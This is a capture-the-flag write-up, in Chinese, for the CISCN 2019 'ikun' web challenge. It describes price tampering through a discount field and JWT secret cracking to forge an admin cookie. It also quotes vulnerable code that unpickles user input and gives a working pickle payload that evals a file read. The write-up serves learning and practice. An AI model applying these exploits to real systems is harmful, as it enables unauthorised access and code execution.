[CISCN 2019]ikun题解
这道题的题目页面如下:
题目中要求要买到lv6,但是翻了好多页能买到的都是lv5及以下的物品,写一个脚本爆破一下lv6。
import requests
url = "http://7a73bf1c-9801-4509-bc9f-1e894d3df22a.node3.buuoj.cn/shop?page="
i= 1
while True:
r = requests.get(url+str(i))
if "lv6.png" in r.text:
print(i)
break
i+=1
脚本显示的结果为181,181页中显示lv6的价格高达1145141919.0,很明显自己的钱不够,这里可以利用一个薅羊毛的漏洞,购买物品的结算界面有优惠,以下是购买普通lv4的一个测试。
修改diccount可以成功以超低价格买入。
用以上思路我们可以成功买入lv6。
之后会弹出一个admin页面,目录在/b1g_m4mber下,并显示只允许admin访问,这里应该是需要伪造admin的cookie。之前并没有接触过伪造cookie的问题,接下来的部分是借用大佬的思路,利用jwt进行cookie伪造。
在https://jwt.io/#encoded-jwt页面输入自己的cookie值可以看到自己用户名。
使用c-jwt-cracker可以爆破密钥,密钥为1Kun。
利用burpsite修改cookie可以进入管理员界面。
查看网页源码
有一个文件,可以下载下来。
里面的admin.py文件存在一个反序列化点
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become参数会被反序列化,在反序列化时可以充分利用好reduce魔术方法来获取flag。
import pickle
from urllib.parse import quote
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt').read()",))
a = pickle.dumps(payload(),protocol=0)
print(quote(a))
关于反序列化有一个坑,就是不同python版本以及反序列化的协议产生的反序列化结果是不一样的,这里如果用python2可以省去protocol=0这个参数,本文中使用的python3。
发送payload即可得到flag。
本题目涉及的考点有薅羊毛漏洞、JWTcookie伪造和python反序列化。